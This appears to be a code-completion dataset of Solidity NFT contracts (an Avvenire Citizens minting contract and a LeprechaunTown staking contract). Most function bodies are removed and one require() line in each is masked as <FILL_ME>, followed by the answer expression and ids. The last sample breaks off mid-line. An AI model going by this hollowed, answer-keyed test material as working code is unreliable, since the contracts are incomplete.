// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { // token id end counter uint256 endTokenId = startTokenId + quantity; // iterate over all the tokens for ( uint256 tokenId = startTokenId; tokenId < endTokenId; tokenId += 1 ) { // the tokens SHOULD NOT be awaiting a change (you don't want the user to get surprised) if (!(avvenireCitizensData.getTradeBeforeChange())) { require(<FILL_ME>) } } // end of loop } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
!avvenireCitizensData.getCitizenChangeRequest(tokenId),"Change requested"
98,913
!avvenireCitizensData.getCitizenChangeRequest(tokenId)
"Token Is Not Stakable"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { require(_tokenIDs.length != 0, "No IDs"); require(_tokenIDs.length <= limitPerSession, "Too Many IDs"); if(_tokenIDs.length == 1){ require(<FILL_ME>) stakeOne(_tokenIDs[0], _contract_A); } else{ stakeMultiple(_tokenIDs, _contract_A); } } function stakeOne(uint256 _tokenID, bool _contract_A) private { } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
canStakeChecker(_contract_A,_tokenIDs[0]),"Token Is Not Stakable"
98,986
canStakeChecker(_contract_A,_tokenIDs[0])
"NFT ALREADY STAKED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { if(_contract_A){ require(pausedStake_A != true, "Contract A Staking Paused"); require(<FILL_ME>) parentNFT_A.safeTransferFrom(msg.sender, address(this), _tokenID); tokenOwnerOf_A[_tokenID] = msg.sender; tokenStakedAt_A[_tokenID] = block.timestamp; stakedCount_A++; } else{ require(pausedStake_B != true, "Contract B Staking Paused"); require(tokenOwnerOf_B[_tokenID] == 0x0000000000000000000000000000000000000000, "NFT ALREADY STAKED"); parentNFT_B.safeTransferFrom(msg.sender, address(this), _tokenID, 1, "0x00"); tokenOwnerOf_B[_tokenID] = msg.sender; tokenStakedAt_B[_tokenID] = block.timestamp; stakedCount_B++; } } function stakeMultiple(uint[] memory _tokenIDs, bool _contract_A) private { } /** * @dev User can check estimated rewards gained so far from an address that staked an NFT. * Note: The staker address must have an NFT currently staked. * The returned amount is calculated as Wei. * Use https://etherscan.io/unitconverter for conversions or do math returnedValue / (10^18) = reward estimate. */ function estimateRewards(uint[] memory _tokenIDs, bool _contract_A) public view returns (uint256) { } /** * @dev User can unstake NFTs to earn the rewards gained over time. * Note: User must have a NFT already staked in order to unstake and gain rewards. * This function only unstakes NFT IDs that they currently have staked. * Rewards are calculated based on the Emission_Rate. */ function unstake(uint[] memory _tokenIDs, bool _contract_A) public { } /** * @dev Allows Owner or Project Leader to set the parentNFT contracts to a specified address. * WARNING: Please ensure all users NFTs are unstaked before setting a new address */ function setStakingContract(bool _contract_A, address _contractAddress) external { } /** * @dev Returns the owner address of a specific token staked * Note: If address returned is 0x0000000000000000000000000000000000000000 token is not staked. */ function getTokenOwnerOf(bool _contract_A, uint256 _tokenID) public view returns(address){ } function isOwnerOfAllStaked(address _holder, bool _contract_A, uint[] memory _tokenIDs) public view returns(bool){ } /** * @dev Returns the unix date the token was staked */ function getStakedAt(bool _contract_A, uint256 _tokenID) public view returns(uint256){ } /** * @dev Returns the total amount of tokens staked */ function getTotalStaked() public view returns(uint256){ } /** * @dev Allows Admins to mint an amount of tokens to a specified address. * Note: _amount must be in WEI use https://etherscan.io/unitconverter for conversions. */ function mintTokens(address _to, uint256 _amount) external onlyAdmins { } /** @dev Set the minimum and maximum range values. @param _minRange The new minimum range value. @param _maxRange The new maximum range value. */ function setRange(uint256 _minRange, uint256 _maxRange) public onlyAdmins { } /** @dev Set the prize pool percentage the winner will receive. @param _percentage The new prize pool percentage. @param _prizeFee The new prize pool entry fee. @param _goldPrizes The new set of gold prizes. */ function setPrizePercentageAndFee(uint256 _percentage, uint256 _prizeFee, uint256[] memory _goldPrizes) public onlyAdmins { } /** @dev Set the target number that will determine the winner. @param _targetNumber The new target number. */ function setTargetNumber(uint256 _targetNumber) public onlyAdmins { } //determines if user has won function isWinner(uint _luckyNumber) internal view returns (bool) { } //"Randomly" returns a number >= _min and <= _max. function randomNumber(uint _min, uint _max, uint _luckyNumber) internal view returns (uint256) { } /** @dev Allows a user to play the Lucky Spin game by providing a lucky number and the ID of an ERC721 or ERC1155 token they hold or have staked. If the user holds the specified token and meets the requirements for playing again, a random number is generated to determine if they win the prize pool and/or a gold token prize. The payout is sent to the user's address and a PrizePoolWinner event is emitted. If the user does not win, they still receive a gold token prize. @param _luckyNumber The lucky number chosen by the user to play the game. @param _id The ID of the ERC721 or ERC1155 token that the user holds. */ function luckySpin(uint _luckyNumber, uint256 _id) public payable returns (bool) { } function hasTokenBalance(uint256 _id, address _user) public view returns (uint8) { } function canPlay(uint256 _id) public view returns (bool, uint8) { } function donateToPrizePool() public payable{ } /** @dev Admin can set the payout address. @param _address The address must be a wallet or a payment splitter contract. */ function setPayoutAddress(address _address) external onlyOwner{ } /** @dev Admin can pull funds to the payout address. */ function withdraw() public onlyAdmins { } /** @dev Admin can pull ERC20 funds to the payout address. */ function withdraw(address token, uint256 amount) public onlyAdmins { } /** @dev Auto send funds to the payout address. Triggers only if funds were sent directly to this address. */ receive() external payable { } /** * @dev Throws if called by any account other than the owner or admin. */ modifier onlyAdmins() { } /** * @dev Throws if the sender is not the owner or admin. */ function _checkAdmins() internal view virtual { } function checkIfAdmin() public view returns(bool) { } /** * @dev Owner and Project Leader can set the addresses as approved Admins. * Example: ["0xADDRESS1", "0xADDRESS2", "0xADDRESS3"] */ function setAdmins(address[] calldata _users) external { } /** * @dev Owner or Project Leader can set the address as new Project Leader. */ function setProjectLeader(address _user) external { } }
tokenOwnerOf_A[_tokenID]==0x0000000000000000000000000000000000000000,"NFT ALREADY STAKED"
98,986
tokenOwnerOf_A[_tokenID]==0x0000000000000000000000000000000000000000
"NFT ALREADY STAKED"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; /* █ ▄███▄ █ ▄▄ █▄▄▄▄ ▄███▄ ▄█▄ ▄ █ ██ ▄ ▄ ▄▄▄▄▀ ████▄ ▄ ▄ ▄ █ █▀ ▀ █ █ █ ▄▀ █▀ ▀ █▀ ▀▄ █ █ █ █ █ █ ▀▀▀ █ █ █ █ █ █ █ ██▄▄ █▀▀▀ █▀▀▌ ██▄▄ █ ▀ ██▀▀█ █▄▄█ █ █ ██ █ █ █ █ █ ▄ █ ██ █ ███▄ █▄ ▄▀ █ █ █ █▄ ▄▀ █▄ ▄▀ █ █ █ █ █ █ █ █ █ █ ▀████ █ █ █ █ █ █ ▀ ▀███▀ █ █ ▀███▀ ▀███▀ █ █ █▄ ▄█ █ █ █ ▀ █ █ █ █ █ █ ▀ ▀ ▀ █ ▀▀▀ █ ██ ▀ ▀ █ ██ ▀ ▄ ▄ ▄▄▄▄▀ ▄████ ▄▄▄▄▄ ▄▄▄▄▀ ██ █ █▀ ▄█ ▄ ▄▀ .-. .-. █ █ ▀▀▀ █ █▀ ▀ █ ▀▄ ▀▀▀ █ █ █ █▄█ ██ █ ▄▀ ( | ) █ ▄ █ █ █▀▀ ▄ ▀▀▀▀▄ █ █▄▄█ █▀▄ ██ ██ █ █ ▀▄ .-.: | ;,-. █ █ █ █ █ ▀▄▄▄▄▀ █ █ █ █ █ ▐█ █ █ █ █ █ (_ __`.|.'_ __) █ █ █ ▀ █ ▀ █ █ ▐ █ █ █ ███ ( ./Y\. ) ▀ ▀ ▀ █ ▀ █ ██ `-.-' | `-.-' \ 🌈 ☘️ + ⌛ = 💰 Original Collection LeprechaunTown_WTF : 0x360C8A7C01fd75b00814D6282E95eafF93837F27 */ /// @author developer's website 🐸 https://www.halfsupershop.com/ 🐸 contract LeprechaunTown_WTF_Staking is ERC20, ERC721Holder, ERC1155Holder, Ownable{ event PrizePoolWinner(address _winner, uint256 _prize, uint256 _gold); event DonationMade(address _donor, uint256 _amount); address payable public payments; address public projectLeader; // Project Leader Address address[] public admins; // List of approved Admins IERC721 public parentNFT_A; //main 721 NFT contract IERC1155 public parentNFT_B; //main 1155 NFT contract mapping(uint256 => address) public tokenOwnerOf_A; mapping(uint256 => uint256) public tokenStakedAt_A; mapping(uint256 => address) public tokenOwnerOf_B; mapping(uint256 => uint256) public tokenStakedAt_B; mapping(bool => mapping(uint256 => uint256)) public tokenBonus; struct Batch { bool stakable; uint256 min; uint256 max; uint256 bonus; } //maximum size of batchID array is 2^256-1 Batch[] public batchID_A; Batch[] public batchID_B; bool public pausedStake_A = true; bool public pausedStake_B = true; uint256 public total_A; uint256 public total_B; uint256 public stakedCount_A; uint256 public stakedCount_B; uint256 public limitPerSession = 10; uint256 public EMISSION_RATE = (4 * 10 ** decimals()) / 1 days; //rate of max 4 tokens per day(86400 seconds) //math for emission rate: EMISSION_RATE * 86400 = token(s) per day //uint256 private initialSupply = (10000 * 10 ** decimals()); //( 10000 )starting amount to mint to treasury in WEI uint256 public prizeFee = 0.0005 ether; uint256 public prizePool; uint256 public winningPercentage; uint256[] public goldPrizes; uint256 public randomCounter; uint256 public minRange = 0; uint256 public maxRange = 100; uint256 public targetNumber; struct Player { uint lastPlay; uint nextPlay; } mapping(uint8 => mapping(uint256 => Player)) public players; constructor(address _parentNFT_A, address _parentNFT_B) ERC20("$GOLD", "$GOLD") { } function setCollectionTotal(bool _contract_A, uint256 _total) public onlyAdmins { } function createModifyBatch(bool _create, uint256 _modifyID, bool _contract_A, bool _stakable, uint256 _min, uint256 _max, uint256 _bonus) external onlyAdmins { } function canStakeChecker(bool _contract_A, uint256 _id) public view returns(bool) { } function getBatchBonus(bool _contract_A, uint256 _id) public view returns(uint256) { } /** @dev Admin can set the bonus multiplier of a ID. */ function setTokenBonus(bool _contract_A, uint256 _id, uint256 _bonus) external onlyAdmins { } /** @dev Admin can set the limit of IDs per session. */ function setLimitPerSession(uint256 _limit) external onlyAdmins { } /** @dev Admin can set the EMISSION_RATE. */ function setEmissionRate(uint256 _RatePerDay) external onlyAdmins { } /** * @dev Admin can set the PAUSE state for contract A or B. * true = no staking allowed * false = staking allowed */ function pauseStaking(bool _contract_A, bool _state) public onlyAdmins { } /** * @dev User can stake NFTs they own to earn rewards over time. * Note: User must set this contract as approval for all on the parentNFT contracts in order to stake NFTs. * This function only stakes NFT IDs from the parentNFT_A or parentNFT_B contract. */ function stake(uint[] memory _tokenIDs, bool _contract_A) public { } function stakeOne(uint256 _tokenID, bool _contract_A) private { if(_contract_A){ require(pausedStake_A != true, "Contract A Staking Paused"); require(tokenOwnerOf_A[_tokenID] == 0x0000000000000000000000000000000000000000, "NFT ALREADY STAKED"); parentNFT_A.safeTransferFrom(msg.sender, address(this), _tokenID); tokenOwnerOf_A[_tokenID] = 